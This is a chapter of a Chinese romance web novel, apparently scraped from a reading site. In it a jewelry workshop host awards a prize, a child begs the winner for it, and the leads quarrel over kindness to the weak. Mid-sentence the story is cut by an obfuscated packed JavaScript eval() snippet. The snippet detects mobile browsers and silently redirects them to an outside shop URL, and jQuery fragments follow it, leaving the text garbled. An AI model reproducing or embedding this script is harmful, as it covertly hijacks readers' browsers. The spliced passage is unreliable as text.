13. 铁石心肠

作品:《晚风藏娇

    林玖娆的指尖不自觉的摸了下自己的唇,脸颊仍在发烫,脑海却反复回放着江盛玉方才拂过绳尾的手,冷白修长,骨节分明。


    主持人已经让工作人员将大家做好的手串收进托盘,端到她面前。


    “接下来,就请林老师来评选今天的第一名。”


    林玖娆垂眸细看。


    这些作品大多带着初学者的生涩,甚至带有很明显的编织错误和问题,唯有江盛玉的那一条,从选珠、配色到编绳,都精准得挑不出错,完全可以媲美一个经验丰富者的成品。


    而且,她只不过简单演示了一遍新编法,他甚至没怎么认真看,却完成得这么完美无瑕,实在很难不让人感叹,人和人之间的差距确实是存在着无法跨越的鸿沟。


    不过,也正因为这条手串的毫无瑕疵,让它空有美貌,却缺少了一些情感和温度,像商品橱窗里精致的陈列一般毫无生气。


    而在它旁边,躺着另一条截然不同的手串。


    珠粒大小不均,编织也略显松散,可那鲜亮跳脱的配色与用力收紧的绳结里,却透出一股笨拙却蓬勃的热情,那是一个称不上精美的作品,但对于一个只有七八岁的孩子而言,这已算得上足够用心了。


    台上的桌椅已被撤走,参与者们站成一排,江盛玉身量极高,长腿笔直立着,在人群中显得尤为突出。


    主持人将话筒递来:“那么,今天做得最好的第一名是谁呢?”


    林玖娆抬眼望去。


    江盛玉正淡淡看向这边,眼神平静无波,对答案毫不在意。


    而他身旁那个胖乎乎的小男孩,却仰着脸,眼睛里写满了明晃晃的期待。


    一时间两个人和两个作品都成了鲜明的对比。


    她轻轻吸了口气,从托盘中拿起江盛玉的手串,面向众人:“这条手串还原度最高,没有编绳的错误,色彩搭配也很漂亮。所以今天的第一名是这位先生,恭喜。”


    这个结果毫无悬念。


    林玖娆从司仪手中接过奖品礼盒,递向江盛玉。


    他垂眸接过,目光却若有似无地掠过她颈侧那颗小红痣。


    指尖在礼盒边缘摩挲了一下,没说话。


    而他身旁的小男孩,眼里的光瞬间黯了下去。


    胖乎乎的脸一点点皱起来,眼眶迅速泛红。


    他用力抿住嘴唇,却还是漏出一点低低的、压抑的哽咽。


    活动结束,参与者们陆续下台,林玖娆的目光不由自主地追着那个低头抹眼泪的小小身影。


    忽然想起什么,她跑到舞台旁边放包的地方,从包里翻出一个绒布小盒,盒子里是她之前为某个比赛设计的项链,后来比赛因为举办方出问题而取消了,她就把这条项链落在了单位,昨天放到包里本打算拿回家的,结果却忘记从包里拿出来。


    现在刚好可以拿来送给那个男孩,也许能给他带来一点安慰。


    接下来是自由展销环节,销售人员已就位,准备给有兴趣的顾客们介绍或试戴首饰。


    林玖娆无需再留在台上,便匆匆走下,目光在人群中寻找那个小男孩。


    转角处,一道熟悉的高挺身影映入眼帘,江盛玉那高大欣长的身影渐显轮廓,他单手轻插兜站立在那里。


    由于距离过远,看不清他此刻的表情,只是那俊朗的侧面剪影,棱角分明,依旧引人注目。


    她又向前走了几步,忽然顿住,才看清那蹲在江盛玉面前哭的正是刚才从台上走下来的小男孩。


    怎么回事?


    江盛玉……把小孩惹哭了?


    以他的性格,不至于这么无聊才对。


    可林玖娆蓦地想起自己小时候被他气哭的经历……


    这人该不会长大了,还照样欺负小孩子吧?


    她正想着,江盛玉低沉的声音已清晰地传来:“跟着我做什么?”


    男孩红着眼睛抬起头,声音里带着哭腔:“哥哥……能不能把奖品让给我?我真的很需要它!”


    江盛玉眉头微皱,语气里没有半分松动:“不能。”


    那张冷峻的脸上看不出任何恻隐,哪怕对方只是个孩子。


    男孩站起来,用力擦了擦眼泪:“哥哥,求你了,你让我做什么都行,只要你把这个奖品给我。”


    “别浪费时间了。”江盛玉移开视线,转身欲走,余光却瞥见了不远处的林玖娆。


    他脚步一顿,随即改变方向,朝她走来。


    男孩的眼泪终于大颗大颗砸下来,声音里满是委屈:“你明明不在乎这个奖品……为什么不能给我?”


    江盛玉没有回头,声线冷淡:“这不是谁弱谁有理的世界。”


    说完,他径直走向林玖娆。


    男孩蹲在原地,哭声被淹没在喧闹的人潮里。


    江盛玉停在她面前,垂眸扫过她手中那个绒布小盒,唇角扯起一个似笑非笑的弧度:“怎么,又要当救世主?”


    林玖娆看向不远处男孩的方向,抿唇道:“不是所有人都生来就像你一样是强者。”


    言罢,她试图绕过他,他却侧身挡住去路,目光落在她脸上:“当你用‘弱者’定义他的那一刻,就已经把他通往强者的路截断了。”


    林玖娆蹙眉:“我没有。”


    “人一旦尝到示弱得来的甜头,就会有第二次、第三次。”江盛玉眼神锐利,语气近乎苛刻,“最后甚至会认为,当弱者比当强者更划算。因为不必付出,就能获得。这么简单的道理,需要我教你?”


    林玖娆捏紧了手中的盒子。


    “并不是……”


    他声音低下来,却更清晰:“你可以帮他一次,但人生这么长,你猜他还能遇到几个你?”


    林玖娆下唇咬得发白,似乎下一秒能滴出血来。


    “正因为人生很长,我才不信他会因此选择投机取巧!”她迎上他的目光,声音微微发颤,“你不能把每个人都想得那么不堪!”


    说完,她继续朝男孩走去。


    “原来你们躲在这儿,让我好找。”温洛宁带笑的声音从后方传来。


    江盛玉斜瞥一眼,没应声。


    林玖娆则轻轻颔首。


    “哎,你拿着这个,一会儿怎么陪我挑送我哥的生日礼物?”温洛宁说着,极其自然地从江盛玉手中抽走了奖品礼盒,几步走到林玖娆身边,塞进她手里,“来,漂亮妹妹,这个归你处置了。”


    林玖娆一怔,抬眼看向江盛玉。


    他脸上没有任何波动,连目光都未在温洛宁手上停留半分。


    那奖品于他,的确无足轻重。


    “漂亮妹妹还有事要忙吧?那我们先去柜台那边看看,等会儿还得麻烦你帮忙挑首饰呢。”温洛宁笑眯眯地说。


    林玖娆回过神,点点头:“你们先看,我一会儿过去。”


    “好嘞。”温洛宁爽快应下,转身跟上江盛玉,“走那么快干嘛?腿长了不起啊?”


    江盛玉余光扫过他,没说话。


    温洛宁笑着凑近:“心情不好?被玫瑰刺扎到了?我是不是来得正是时候?”


    “你今天话很多。”


    “是么?只是今天话很多吗?我以为我平时话也不少呢。”


    **


    不远处,林玖娆正蹲下身,将那个从江盛玉那儿拿来的奖品小盒轻轻放进男孩手里。


    她低垂眼帘看向男孩的眸光柔和而温暖,像能融化初雪的暖阳。


    温洛宁摇摇头,轻声叹:“漂亮妹妹总这么心软,对何南乔那个女朋友是这样,现在对这个陌生小孩又是这样……大抵前世是尊菩萨,总想着渡人,却忘了渡己。这毛病不改,以后怕是要吃亏。”


    江盛玉凝视着那个方向,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957496|193197||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑起来时,眼睛里像盛满了星光的湖面,清澈明亮,能将周围的暗淡都轻轻照亮。


    男孩挂着泪痕的脸上绽开笑容,站起来朝林玖娆用力鞠了一躬:“谢谢你,漂亮姐姐!”


    清脆的童音,隔着人群也能听见。


    江盛玉收回目光:“走了。”


    温洛宁意犹未尽:“不多看会儿这温情场面?怕看多了……你那铁石心肠会被焐化?”


    江盛玉眉梢微扬。


    温洛宁立刻在嘴边做了个拉链的手势,闭了嘴。


    **


    过了一会,温洛宁在柜台前搜罗了一大堆各式各样的饰品,回头想问问江盛玉的建议。


    江盛玉只是淡淡的瞟了一眼:“不都一样么。”


    温洛宁觉得江盛玉实在不是个能提供良好建议的人,正拄着下巴犯难,林玖娆的声音从身后轻轻传来:“选这条红宝石项链吧。宝石镶嵌的金属边缘刻了异国风格的花纹,链身缠着细密的珍珠,不对称的设计也很别致。”


    温洛宁拿起她指的那条,果然在灯光下看到红宝石镶嵌的金属边缘雕刻着精巧的纹路。


    他瞥了眼江盛玉,笑着感慨:“还得是漂亮妹妹呀,专业的人做专业的事。别看江盛玉你是全能选手,但这方面你可太外行了,下次买首饰可不带你了。”


    江盛玉没接话,目光落在林玖娆润白的侧脸上,沿着颈线滑至披肩半掩的那粒红痣上,停了片刻。


    **


    温洛宁去结账时,柜台前只剩下他们两人。


    空气忽然安静得有些微妙。


    江盛玉低头看着手机,丝毫没有开口的意思。


    林玖娆伸手从包里拿出了绒布小盒,走过去,轻轻放在他手边的柜台上。


    江盛玉眼睑微垂,半张脸隐在灯光下,显得冷淡而疏离:“这是什么?”


    她移开视线,声音很轻:“第一名不该没有奖品,这是我补给第一名的奖品。”


    他伸手去拿,指尖刚触及盒身,那小盒却忽地从柜台边缘滑落,滚进柜台与墙壁之间的狭窄缝隙。


    江盛玉几不可察地蹙眉,倾身向前。


    手臂擦过她的肩膀,撑在她身侧的墙面上,温热的体温透过薄薄衬衫渗过来,熨得她皮肤微微发烫。


    林玖娆呼吸一滞。


    她被笼在他与墙之间,双手不自觉的握起来,上半身不由的向着江盛玉的方向倾斜,鼻尖萦绕着他身上独有的淡淡乌木香气。


    她不由抿了抿干涩的唇,喉咙变得干到发紧,仿佛一只被恶狼叼住后颈的白兔,紧绷着脊背,动弹不得。


    江盛玉偏过头,手臂探向角落去够那个盒子。


    温热的呼吸拂过她耳畔时,他低声问:“你对谁都这么心软么?”


    灼热的呼吸靠近,莹白的耳垂瞬间红透。


    她微微侧脸,视线里全是他近在咫尺的俊朗轮廓。


    他细长的手指拾起盒子,收回时,冰凉的指节似有若无地擦过她发烫的脸颊。


    “热么?”他问,声音里听不出情绪。


    **


    温洛宁结完账回来时,林玖娆已经不在原地。


    江盛玉正低头从一个绒布小盒里取出一条项链,链坠是星形的,泛着海水般的湛蓝光泽,表面细腻的波纹如同星辰倒映在海面,整条项链透着静谧又浪漫的海上星空感


    “咦?这项链哪儿买来的?刚才这么没看见啊?”温洛宁走近,诧异的问。


    江盛玉将项链放回盒子里:“不是买的。”


    “那是谁送的?漂亮妹妹?”温洛宁眼睛睁大,“不对啊,刚才你俩不还针锋相对么?怎么转眼就……”


    江盛玉将盒子收进衣兜里,语气平淡:“有么?”


    温洛宁愣了两秒,忽然恍然大悟:“哦,所以我也成了你们play的一环?”